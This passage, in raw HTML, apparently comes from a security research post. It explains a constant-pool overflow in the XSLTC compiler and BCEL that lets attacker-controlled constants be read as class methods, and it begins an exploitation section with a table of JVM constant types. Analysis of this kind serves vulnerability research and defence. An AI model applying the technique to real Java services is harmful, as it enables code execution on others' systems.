10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">>=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">-</span><span style="background-color: transparent; color: #c53929; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">&&</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">value </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #c53929; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">5</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">))</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> instruction </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">InstructionConst</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">getInstruction</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Const</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ICONST_0 </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">+</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">else</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Instruction</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">isValidByte</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">))</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> instruction </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">new</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> BIPUSH</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">((</span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">byte</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">else</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Instruction</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">isValidShort</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">))</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> instruction </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">new</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> SIPUSH</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">((</span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">short</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">else</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> instruction </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">new</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> LDC</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cp</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">addInteger</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">));</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The problem with this approach is that neither XSLTC nor BCEL correctly limits the size of the constant pool. As </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">constant_pool_count</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, which describes the size of the constant pool, is only 2 bytes long, its maximum size is limited to 2**16 - 1 or 65535 entries. In practice even fewer entries are possible, because some constant types take up two entries. However, BCELs internal constant pool representation uses a standard Java Array for storing constants, and does not enforce any limits on its length.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">When XSLTC processes a stylesheet that contains more constants, and BCELs internal class representation is serialized to a class file at the end of the compilation process the array length is truncated to a short, but the complete array is written out:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This means that </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">constant_pool_count</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> will now contain a small value and that parts of the attacker-controlled constant pool will get interpreted as the class fields following the constant pool, including method and attribute definitions. </span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Exploiting a constant pool overflow</span></h2><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">To understand how we can exploit this, we first need to take a closer look at the content of the constant pool. Each entry in the pool starts with a 1-byte tag describing the kind of constant, followed by the actual data. The table below shows an incomplete list of constant types supported by the JVM (see the </span><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4:~:text=Table%C2%A04.4%2DB.%C2%A0Constant%20pool%20tags%20(by%20tag)" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">official documentation</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> for a complete list). No need to read through all of them but we will come back to this table a lot when walking through the exploit. </span></p><div align="left" dir="ltr" style="margin-left: 0.75pt;"><table style="border-collapse: collapse; border: none;"><colgroup><col width="210"></col><col width="37"></col><col width="114"></col><col width="251"></col></colgroup><tbody><tr style="height: 24.25pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Constant Kind</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Tag</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Description</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Layout</span></p></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.7" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Utf8</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Constant variable-sized UTF-8 string value</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Utf8_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 length;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 bytes[length];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.4" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Integer</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">3</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; 